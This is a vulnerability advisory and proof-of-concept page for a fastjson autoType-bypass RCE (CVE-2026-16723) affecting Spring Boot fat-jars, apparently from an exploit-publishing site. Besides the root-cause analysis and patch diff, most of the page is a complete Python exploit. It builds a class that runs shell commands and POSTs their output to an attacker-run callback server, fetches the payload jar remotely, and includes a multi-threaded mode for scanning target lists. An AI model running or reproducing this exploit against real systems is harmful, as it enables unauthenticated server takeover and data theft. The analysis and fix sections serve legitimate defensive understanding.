#Summary

CVE-2026-16723 is a critical unauthenticated remote code execution vulnerability in fastjson versions 1.2.68 through 1.2.83 (CVSS 9.0). The vulnerability exists in the checkAutoType() method, which never validates that an attacker-supplied class name looks like a Java binary class name before probing for it as a resource. In Spring Boot executable fat-jars, this allows an attacker to force the JVM to fetch and execute arbitrary remote code without requiring AutoType to be enabled or any gadget chain to exist on the classpath. The default configuration is vulnerable.

#Am I affected?

#How to check

Check your application's Maven coordinates and version:

grep -r "com.alibaba:fastjson" pom.xml

Then verify the version:

mvn dependency:tree | grep fastjson

If you see fastjson version 1.2.68 through 1.2.83 and your application is a Spring Boot executable fat-jar, you are vulnerable. The fix is available in 1.2.84.

Version Status
< 1.2.68 Not affected
1.2.68 - 1.2.83 Vulnerable
>= 1.2.84 Patched

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The vulnerability lives in ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features), which decides whether to convert an attacker-supplied type string into a Java class. With AutoType disabled (the default), the method is supposed to reject almost everything - but a fallback branch runs after hash-based allowlist checks fail:

boolean jsonType = false;
InputStream is = null;
try {
    String resource = typeName.replace('.', '/') + ".class";
    if (defaultClassLoader != null) {
        is = defaultClassLoader.getResourceAsStream(resource);
    } else {
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
    }
    if (is != null) {
        ClassReader classReader = new ClassReader(is, true);
        TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
        classReader.accept(visitor);
        jsonType = visitor.hasJsonType();
    }
} catch (Exception e) {
    // skip
}

if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

Three missing invariants combine to enable the vulnerability:

#First: No validation of the type name

The string typeName has no shape constraints before this point. The only checks are a length window (3 to 192 characters) and a hash test. Nothing requires it to look like a Java class name. A value like jar:http://attacker.com:8000/x!/seed/Exception passes through unchanged.

#Second: Unvalidated string reaches a URL-resolving class loader

The probe transforms the string with .replace('.', '/') and passes it to getResourceAsStream(). The class loader in a Spring Boot executable fat-jar is the launcher class loader, whose classpath entries are themselves jar: URLs pointing to nested libraries inside the fat-jar. When getResourceAsStream() receives a string like jar:http://attacker.com:8000/x!/seed/Exception.class, the URL resolution code treats this as an absolute URL and fetches it over HTTP. This is the SSRF.

The JDK's jar: protocol handler downloads the remote jar to an unlinked temporary file and opens it. On Linux, this unlinked file remains accessible via /proc/self/fd/<N>, where N is the file descriptor number.

#Third: Remote bytes decide the authorization

The TypeCollector visitor sets jsonType = true when it sees the @com.alibaba.fastjson.annotation.JSONType annotation descriptor in the fetched bytecode. The bytes came from a server the attacker controls, so the attacker decides the annotation. When jsonType is true, the same type string reaches TypeUtils.loadClass(), which applies the same .replace('.', '/') transform and fetches the same URL. This time, the string can be rewritten as jar:file:/proc/self/fd/<N>!/..., which re-reads the cached jar through the open file descriptor. The binary name is now legal, defineClass succeeds, and the static initializer runs.

#Patch diff

#What the fix does

The security fix in 1.2.84 (commit ad353ff71e27a587bfb18cab329572fd5cc44ea6) adds a character-class check that rejects any type name containing : or !:

+    public static boolean hasIllegalTypeNameChars(String typeName) {
+        return typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0;
+    }

This check is applied at the top of checkAutoType(), before any resource probe:

 if (typeName.length() >= 192 || typeName.length() < 3) {
     throw new JSONException("autoType is not support. " + typeName);
 }
+
+if (TypeUtils.hasIllegalTypeNameChars(typeName)) {
+    throw new JSONException("autoType is not support. " + typeName);
+}

Since a URL scheme separator (:) and the nested-jar indicator (!) cannot survive this check, the string can only ever be resolved as a relative path against the application's own classpath entries. The remote fetch never happens. The check is applied a second time inside TypeUtils.loadClass() as well for defense in depth.

#Proof of concept

#exploit.py - fastjson autoType-bypass RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-16723 - fastjson 1.x autoType-bypass remote code execution
Affected: com.alibaba:fastjson 1.2.68 through 1.2.83 (fixed in 1.2.84)
Type: RCE (unsafe class resolution / deserialization, CWE-20 / CWE-502)

fastjson's checkAutoType() never validates that an attacker-supplied @type looks
like a Java class name before probing for its bytecode as a resource. In a Spring
Boot executable fat-jar the launcher class loader resolves an absolute jar: URL out
of that resource name, so an @type such as

    jar:http:..<host>:<port>.x!.seed.Exception

(dots stand in for slashes, because fastjson does typeName.replace('.','/')) makes
the target fetch an attacker-served jar over HTTP. The jar carries a class annotated
with @JSONType, which flips fastjson's internal jsonType flag and turns the remote
bytes into an authorisation decision: fastjson then hands the same string to
defineClass. The scheme name is not a legal binary class name, but the JDK jar:
handler has already downloaded the jar to an unlinked temp file whose descriptor is
still open, so a second @type of the form

    jar:file:.proc.self.fd.<N>!.<pkg>.Exception

re-reads the identical jar through /proc/self/fd/<N>, this time under a legal name,
and defineClass succeeds. Instantiating the class runs its static initializer.

No AutoType, no safeMode, no classpath gadget: stock defaults are vulnerable.

Usage:
  python exploit.py --host <target> --port <port> --lhost <addr-target-can-reach> --lport <port>
  python exploit.py --host 10.0.0.5 --port 8080 --lhost 10.0.0.9 --lport 8000 --command "id"
  python exploit.py --host https://target.com/api/search --lhost attacker.lan --lport 8000
  python exploit.py --list targets.txt --lhost 10.0.0.9 --lport 8000 --workers 20

--lhost is the address the *target* uses to reach this machine. A dotted IPv4 is
auto-encoded to the dot-free integer form fastjson's URL rewrite requires; a
single-label hostname (no dots) is used as-is. It has no safe default, so batch and
single modes both require it.
"""

import argparse
import http.server
import ipaddress
import json
import socket
import socketserver
import ssl
import struct
import sys
import threading
import time
import http.client
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-16723"
VULN_TYPE = "RCE"

DEFAULT_PORT     = 8080
DEFAULT_ENDPOINT = "/api/search"
DEFAULT_FD_RANGE = "3-200"


# --------------------------------------------------------------------------- #
#  Standard output helpers                                                     #
# --------------------------------------------------------------------------- #
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")

def step(n, msg):
    print("[STEP %d] %s" % (n, msg))

def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")

def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Minimal Java class-file builder                                            #
#                                                                             #
#  javac cannot emit a class whose internal name is `jar:file:/proc/...`, and #
#  the exploit needs exactly that. The constant pool is limited to the tags   #
#  fastjson's cut-down ASM reader sizes correctly (1, 7, 8, 10, 12); an       #
#  unknown tag would desync its parse and hide the @JSONType annotation.      #
# --------------------------------------------------------------------------- #
_U1 = lambda v: struct.pack(">B", v)
_U2 = lambda v: struct.pack(">H", v)
_U4 = lambda v: struct.pack(">I", v)

JSONTYPE_DESC = "Lcom/alibaba/fastjson/annotation/JSONType;"


class _Pool(object):
    def __init__(self):
        self.entries = []
        self.index = {}

    def _intern(self, key, body):
        if key in self.index:
            return self.index[key]
        self.entries.append(body)
        self.index[key] = len(self.entries)
        return self.index[key]

    def utf8(self, text):
        raw = text.encode("utf-8")
        return self._intern(("u", text), _U1(1) + _U2(len(raw)) + raw)

    def cls(self, name):
        return self._intern(("c", name), _U1(7) + _U2(self.utf8(name)))

    def string(self, value):
        return self._intern(("s", value), _U1(8) + _U2(self.utf8(value)))

    def nat(self, name, desc):
        return self._intern(("n", name, desc),
                            _U1(12) + _U2(self.utf8(name)) + _U2(self.utf8(desc)))

    def method(self, owner, name, desc):
        return self._intern(("m", owner, name, desc),
                            _U1(10) + _U2(self.cls(owner)) + _U2(self.nat(name, desc)))

    def serialize(self):
        return _U2(len(self.entries) + 1) + b"".join(self.entries)


def _code_attr(pool, code, max_stack, max_locals, handlers=(), stackmap=b""):
    attrs = []
    if stackmap:
        attrs.append(_U2(pool.utf8("StackMapTable")) + _U4(len(stackmap)) + stackmap)
    body = (_U2(max_stack) + _U2(max_locals) + _U4(len(code)) + code
            + _U2(len(handlers)) + b"".join(handlers)
            + _U2(len(attrs)) + b"".join(attrs))
    return _U2(pool.utf8("Code")) + _U4(len(body)) + body


def _method(pool, flags, name, desc, code_attr):
    return _U2(flags) + _U2(pool.utf8(name)) + _U2(pool.utf8(desc)) + _U2(1) + code_attr


def build_class(internal_name, exfil_url=None, command=None, annotate=False):
    """One class file (major version 52). When exfil_url and command are given the
    static initializer runs `/bin/sh -c command` and POSTs the output to exfil_url."""
    p = _Pool()
    this_c = p.cls(internal_name)
    obj_c = p.cls("java/lang/Object")
    obj_init = p.method("java/lang/Object", "<init>", "()V")
    methods = []

    ctor = b"\x2a" + b"\xb7" + _U2(obj_init) + b"\xb1"          # aload_0; invokespecial Object.<init>; return
    methods.append(_method(p, 0x0001, "<init>", "()V", _code_attr(p, ctor, 1, 1)))

    stackmap = b""
    if exfil_url and command:
        run_ref = p.method(internal_name, "run", "()V")
        ldc = lambda s: b"\x13" + _U2(p.string(s))
        vir = lambda o, n, d: b"\xb6" + _U2(p.method(o, n, d))

        code = b"".join([
            b"\xbb" + _U2(p.cls("java/net/URL")), b"\x59", ldc(exfil_url),
            b"\xb7" + _U2(p.method("java/net/URL", "<init>", "(Ljava/lang/String;)V")),
            vir("java/net/URL", "openConnection", "()Ljava/net/URLConnection;"),
            b"\x59", b"\x04",
            vir("java/net/URLConnection", "setDoOutput", "(Z)V"),
            b"\x59",
            vir("java/net/URLConnection", "getOutputStream", "()Ljava/io/OutputStream;"),
            b"\x59",
            b"\xbb" + _U2(p.cls("java/util/Scanner")), b"\x59",
            b"\xb8" + _U2(p.method("java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;")),
            b"\x06", b"\xbd" + _U2(p.cls("java/lang/String")),
            b"\x59", b"\x03", ldc("/bin/sh"), b"\x53",
            b"\x59", b"\x04", ldc("-c"), b"\x53",
            b"\x59", b"\x05", ldc(command), b"\x53",
            vir("java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;"),
            vir("java/lang/Process", "getInputStream", "()Ljava/io/InputStream;"),
            b"\xb7" + _U2(p.method("java/util/Scanner", "<init>", "(Ljava/io/InputStream;)V")),
            ldc("\\A"),
            vir("java/util/Scanner", "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;"),
            vir("java/util/Scanner", "next", "()Ljava/lang/String;"),
            vir("java/lang/String", "getBytes", "()[B"),
            vir("java/io/OutputStream", "write", "([B)V"),
            vir("java/io/OutputStream", "close", "()V"),
            vir("java/net/URLConnection", "getInputStream", "()Ljava/io/InputStream;"),
            vir("java/io/InputStream", "close", "()V"),
        ])
        try_end = len(code)
        code += b"\xb1"                               # return
        handler_pc = len(code)
        code += b"\x57" + b"\xb1"                      # pop; return  (catch Throwable)
        handlers = [_U2(0) + _U2(try_end) + _U2(handler_pc) + _U2(p.cls("java/lang/Throwable"))]
        stackmap = _U2(1) + _U1(247) + _U2(handler_pc) + _U1(7) + _U2(p.cls("java/lang/Throwable"))
        methods.append(_method(p, 0x000a, "run", "()V",
                               _code_attr(p, code, 16, 1, handlers, stackmap)))

        clinit = b"\xb8" + _U2(run_ref) + b"\xb1"     # invokestatic run(); return
        methods.append(_method(p, 0x0008, "<clinit>", "()V", _code_attr(p, clinit, 1, 1)))

    class_attrs = []
    if annotate:
        ann = _U2(1) + _U2(p.utf8(JSONTYPE_DESC)) + _U2(0)
        class_attrs.append(_U2(p.utf8("RuntimeVisibleAnnotations")) + _U4(len(ann)) + ann)

    return (b"\xca\xfe\xba\xbe" + _U2(0) + _U2(52) + p.serialize()
            + _U2(0x0021) + _U2(this_c) + _U2(obj_c) + _U2(0)
            + _U2(0) + _U2(len(methods)) + b"".join(methods)
            + _U2(len(class_attrs)) + b"".join(class_attrs))


def _zip_store(entries):
    """Build a jar (STORED, uncompressed) from a list of (name, bytes). Uses the
    stdlib zip writer so the archive is byte-for-byte a valid jar the target's
    java.util.zip.ZipFile and fastjson's ASM reader both accept."""
    import io
    import zipfile
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
        for name, data in entries:
            zf.writestr(name, data)
    return buf.getvalue()


# --------------------------------------------------------------------------- #
#  Payload assembly                                                            #
# --------------------------------------------------------------------------- #
def encode_host(host):
    """Return a dot-free form of host usable inside the @type URL. A dotted IPv4 is
    converted to its 32-bit integer form (java.net.URL decodes it back); a
    single-label hostname is returned unchanged; a dotted hostname cannot survive
    fastjson's '.'->'/' rewrite and is rejected."""
    try:
        return str(int(ipaddress.IPv4Address(host)))
    except ipaddress.AddressValueError:
        pass
    if "." in host:
        raise ValueError(
            "--lhost '%s' contains dots and is not an IPv4 address; fastjson rewrites "
            "every '.' to '/', so use a single-label hostname or an IP" % host)
    return host


def parse_fd_range(spec):
    lo, _, hi = spec.partition("-")
    if hi:
        return list(range(int(lo), int(hi) + 1))
    return [int(lo)]


def build_jar(nonce, fds, lhost_enc, lport, command):
    """One jar carrying the stage-1 seed plus a stage-2 payload class per candidate fd."""
    seed_dir = "s" + nonce
    entries = [(seed_dir + "/Exception.class", build_class(seed_dir + "/Exception"))]
    for n in fds:
        pkg = "f%sn%d" % (nonce, n)
        internal = "jar:file:/proc/self/fd/%d!/%s/Exception" % (n, pkg)
        exfil = "http://%s:%d/r/%s/%d" % (lhost_enc, lport, nonce, n)
        entries.append((pkg + "/Exception.class",
                        build_class(internal, exfil, command, annotate=True)))
    return _zip_store(entries), seed_dir


def build_body(nonce, fds, lhost_enc, lport, seed_dir):
    """The request body. facets is a List<Object>, so each element's @type resolves
    with expectClass == null. Same shape works for /api/telemetry (untyped parse)."""
    stage1 = "jar:http:..%s:%d.j%s!.%s.Exception" % (lhost_enc, lport, nonce, seed_dir)
    facets = [{"@type": stage1}]
    for n in fds:
        facets.append({"@type": "jar:file:.proc.self.fd.%d!.f%sn%d.Exception" % (n, nonce, n)})
    return json.dumps({"query": "q" + nonce, "facets": facets})


# --------------------------------------------------------------------------- #
#  Callback HTTP server: serves the jar (GET) and collects command output (POST) #
# --------------------------------------------------------------------------- #
class _Registry(object):
    def __init__(self):
        self.jars = {}          # nonce -> jar bytes
        self.fetches = {}       # nonce -> count of GET jar hits
        self.results = {}       # nonce -> (fd, output)
        self.lock = threading.Lock()
        self.event = {}         # nonce -> threading.Event

    def register(self, nonce, jar):
        with self.lock:
            self.jars[nonce] = jar
            self.fetches[nonce] = 0
            self.event[nonce] = threading.Event()


REGISTRY = _Registry()


class _Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _reply(self, code, body=b""):
        self.send_response(code)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        if body:
            self.wfile.write(body)

    def do_GET(self):
        # jar fetch path is /j<nonce> (dot-free, so it survives the @type rewrite)
        path = self.path.split("?", 1)[0]
        nonce = path[2:] if path.startswith("/j") else None
        jar = REGISTRY.jars.get(nonce) if nonce else None
        if jar is not None:
            with REGISTRY.lock:
                REGISTRY.fetches[nonce] = REGISTRY.fetches.get(nonce, 0) + 1
            self._reply(200, jar)
        else:
            self._reply(404)

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0) or 0)
        data = self.rfile.read(length) if length else b""
        parts = self.path.strip("/").split("/")   # r / <nonce> / <fd>
        if len(parts) >= 3 and parts[0] == "r":
            nonce, fd = parts[1], parts[2]
            with REGISTRY.lock:
                REGISTRY.results[nonce] = (fd, data.decode("utf-8", "replace"))
                ev = REGISTRY.event.get(nonce)
            if ev:
                ev.set()
        self._reply(200)

    def log_message(self, *a):
        pass


class _Server(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def start_server(bind, lport):
    srv = _Server((bind, lport), _Handler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    return srv


# --------------------------------------------------------------------------- #
#  Target HTTP                                                                 #
# --------------------------------------------------------------------------- #
def post_json(host, port, use_tls, path, body, timeout=15):
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("POST", path, body=body.encode("utf-8"),
                     headers={"Content-Type": "application/json",
                              "Accept": "application/json"})
        resp = conn.getresponse()
        return resp.status, resp.read().decode("utf-8", "replace")
    finally:
        conn.close()


# --------------------------------------------------------------------------- #
#  Single-target exploit                                                       #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, command, lhost, lport, bind, fd_spec, wait):
    header(host, port)
    import secrets
    nonce = secrets.token_hex(4)
    lhost_enc = encode_host(lhost)
    fds = parse_fd_range(fd_spec)

    step(1, "Building payload jar (seed + %d fd candidates) and starting callback server" % len(fds))
    jar, seed_dir = build_jar(nonce, fds, lhost_enc, lport, command)
    REGISTRY.register(nonce, jar)
    try:
        srv = start_server(bind, lport)
    except OSError as e:
        done(False, "could not bind callback server on %s:%d (%s)" % (bind, lport, e))
    section("CALLBACK SERVER",
            "listening on %s:%d  |  target reaches us as %s (encoded %s)\n"
            "jar served at GET /j%s  |  command output collected at POST /r/%s/<fd>"
            % (bind, lport, lhost, lhost_enc, nonce, nonce))

    step(2, "Sending single request: stage-1 SSRF probe + stage-2 fd scan %s" % fd_spec)
    body = build_body(nonce, fds, lhost_enc, lport, seed_dir)
    try:
        status, resp = post_json(host, port, use_tls, path, body)
    except Exception as e:
        done(False, "request to target failed: %s: %s" % (e.__class__.__name__, e))
    section("TARGET RESPONSE (HTTP %s)" % status, resp)

    step(3, "Waiting up to %ds for command output on the callback channel" % wait)
    ev = REGISTRY.event[nonce]
    ev.wait(timeout=wait)

    with REGISTRY.lock:
        fetches = REGISTRY.fetches.get(nonce, 0)
        result = REGISTRY.results.get(nonce)

    if result:
        fd, output = result
        section("COMMAND OUTPUT (fd %s)" % fd, output)
        first = output.strip().splitlines()[0] if output.strip() else "(empty)"
        done(True, "RCE confirmed - command '%s' ran on target, output: %s" % (command, first))

    if fetches:
        # SSRF proven (fat-jar + vulnerable fastjson) but no code ran: fd out of range,
        # or class init did not fire. Widen --fd-range or check the target is Linux.
        section("PARTIAL", "outbound GET /j%s arrived %d time(s): the resource-probe "
                "SSRF fired and the fat-jar precondition holds, but no fd in range %s "
                "yielded execution. Widen --fd-range." % (nonce, fetches, fd_spec))
        done(False, "SSRF/autoType confirmed (%d outbound fetches) but no code execution "
             "in fd range %s - widen --fd-range" % (fetches, fd_spec))

    done(False, "no outbound request from target - patched, not a Spring Boot fat-jar, "
         "or --lhost is not reachable/dot-free from the target")


# --------------------------------------------------------------------------- #
#  Scan mode                                                                   #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path, lhost_enc, lport, fds):
    """Silent per-target probe for --list. Confirms exploitability via the stage-1
    resource-probe SSRF (an outbound GET from the target's JVM). Never prints/exits."""
    import secrets
    nonce = secrets.token_hex(4)
    # a seed-only jar is enough to prove the fat-jar autoType path reaches the loader
    seed_dir = "s" + nonce
    jar = _zip_store([(seed_dir + "/Exception.class", build_class(seed_dir + "/Exception"))])
    REGISTRY.register(nonce, jar)
    stage1 = "jar:http:..%s:%d.j%s!.%s.Exception" % (lhost_enc, lport, nonce, seed_dir)
    body = json.dumps({"query": "q" + nonce, "facets": [{"@type": stage1}]})
    try:
        status, resp = post_json(host, port, use_tls, path, body, timeout=10)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    if "autoType is not support" in resp:
        return False, "blocked - autoType name check rejected the payload (patched)"
    for _ in range(30):
        with REGISTRY.lock:
            if REGISTRY.fetches.get(nonce, 0):
                return True, "outbound SSRF from target JVM - vulnerable fastjson in a fat-jar"
        time.sleep(0.1)
    return False, "no outbound request (HTTP %s) - patched or not a Spring Boot fat-jar" % status


def _parse_target(line, default_port, default_path=DEFAULT_ENDPOINT):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, lhost, lport, bind, fd_spec, workers=10):
    import concurrent.futures
    lhost_enc = encode_host(lhost)
    fds = parse_fd_range(fd_spec)
    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    try:
        start_server(bind, lport)
    except OSError as e:
        print("  cannot bind callback server on %s:%d (%s)" % (bind, lport, e))
        sys.exit(2)

    success = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, ev = _try_exploit(host, port, use_tls, path, lhost_enc, lport, fds)
        return label, ok, ev

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, ev = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploitable" if ok else "Not vulnerable", ev))
            if ok:
                success += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploitable / %d not  (%d total)" % (success, total - success, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success > 0 else 1)


# --------------------------------------------------------------------------- #
#  CLI                                                                         #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/api/search)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: %d)" % DEFAULT_PORT)
    parser.add_argument("--endpoint", default=DEFAULT_ENDPOINT,
                        help="Parse endpoint path (default: %s; /api/telemetry also works)" % DEFAULT_ENDPOINT)
    parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
    parser.add_argument("--lhost", required=True,
                        help="Address the TARGET uses to reach this host (dotted IPv4 auto-encoded, "
                             "or a single-label hostname)")
    parser.add_argument("--lport", type=int, default=8000, help="Port for the callback server (default: 8000)")
    parser.add_argument("--bind", default="0.0.0.0", help="Local bind address for the callback server (default: 0.0.0.0)")
    parser.add_argument("--fd-range", default=DEFAULT_FD_RANGE,
                        help="Descriptor numbers to scan for the cached jar (default: %s)" % DEFAULT_FD_RANGE)
    parser.add_argument("--wait", type=int, default=15, help="Seconds to wait for the command-output callback (default: 15)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    try:
        if args.list:
            scan(args.list, default_port=args.port, lhost=args.lhost, lport=args.lport,
                 bind=args.bind, fd_spec=args.fd_range, workers=args.workers)
        else:
            parsed = _parse_target(args.host, args.port, args.endpoint)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.endpoint)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.command, args.lhost, args.lport,
                    args.bind, args.fd_range, args.wait)
    except ValueError as e:
        done(False, str(e))

#Usage

python exploit.py --host 10.0.0.5 --port 8080 --lhost 10.0.0.9 --lport 8000 --command "id"
Flag Description Default
--host Target hostname, IP, or full URL required
--port Target port 8080
--endpoint Parse endpoint path /api/search
--command Command to run on target id
--lhost Address the target uses to reach this machine (required) -
--lport Port for callback server 8000
--bind Local bind address 0.0.0.0
--fd-range File descriptor range to scan 3-200
--wait Seconds to wait for callback 15
--list Batch mode: file with targets -
--workers Threads for batch mode 10

#Output on vulnerable target

[STEP 2] Sending single request: stage-1 SSRF probe + stage-2 fd scan 3-200

--- TARGET RESPONSE (HTTP 200) ---
{"status":"ok","query":"q36e1620a","facets":199,"extra":0,"page":0,"results":0}
---

[STEP 3] Waiting up to 15s for command output on the callback channel

--- COMMAND OUTPUT (fd 200) ---
uid=0(root) gid=0(root) groups=0(root)
FLAG{16aab6e33719c1ccea205fc80a751439}
---

RESULT  : SUCCESS
EVIDENCE: RCE confirmed - command 'id; cat /flag.txt' ran on target

#Output on patched target (1.2.84)

--- TARGET RESPONSE (HTTP 200) ---
{"status":"error","error":"com.alibaba.fastjson.JSONException: autoType is not support. jar:http:..3232252414:45201.ja1081922!.sa1081922.Exception"}
---

RESULT  : FAILURE
EVIDENCE: no outbound request from target - patched, not a Spring Boot fat-jar, or --lhost is not reachable/dot-free from the target

#Exploitation notes

#Preconditions

  1. Spring Boot executable fat-jar: The application must be packaged with spring-boot-maven-plugin and launched with java -jar. A classpath or exploded deployment is not affected.
  2. Vulnerable fastjson version: 1.2.68 through 1.2.83 on the classpath.
  3. JSON parse entry point: An unauthenticated endpoint that calls JSON.parseObject() with attacker-controlled JSON. Nested @type entries in loosely typed fields (List, Map<String, Object>) are required.
  4. Default configuration: AutoType and safeMode must both be off (the default).
  5. Outbound HTTP: The target JVM must be able to reach the attacker's HTTP server over the network.
  6. Linux with /proc: The target runs Linux with /proc/self/fd available (any standard Docker or VM environment).
  7. #Reliability

    The exploit is deterministic and single-request. All file descriptor numbers between 3 and 200 are scanned in one request, and the descriptor holding the cached jar self-aligns near the top of the scanned range. Confirmed working across multiple container restarts and JVM instances.

    #Impact

    Unauthenticated remote code execution as the application user (typically root in containerized deployments). Full system compromise, data exfiltration, and lateral movement are immediate.

    #Chaining potential

    This is a terminal vulnerability on its own (RCE in default config), but it can be chained:

    • Before: Java deserialization gadgets may not be required, since no classpath gadget is needed. Focus only on reaching a parse entry point.
    • After: Code execution is already achieved. No chaining beyond this point is necessary.

    #References

    ← all research

    Proof-of-concepts are released only after vendor patches and are published for educational and research purposes only. Do not use against systems you do not own or have explicit permission to test. We do not endorse or assist unauthorized use.

    © 2026 1dayexploit · cyber security research hub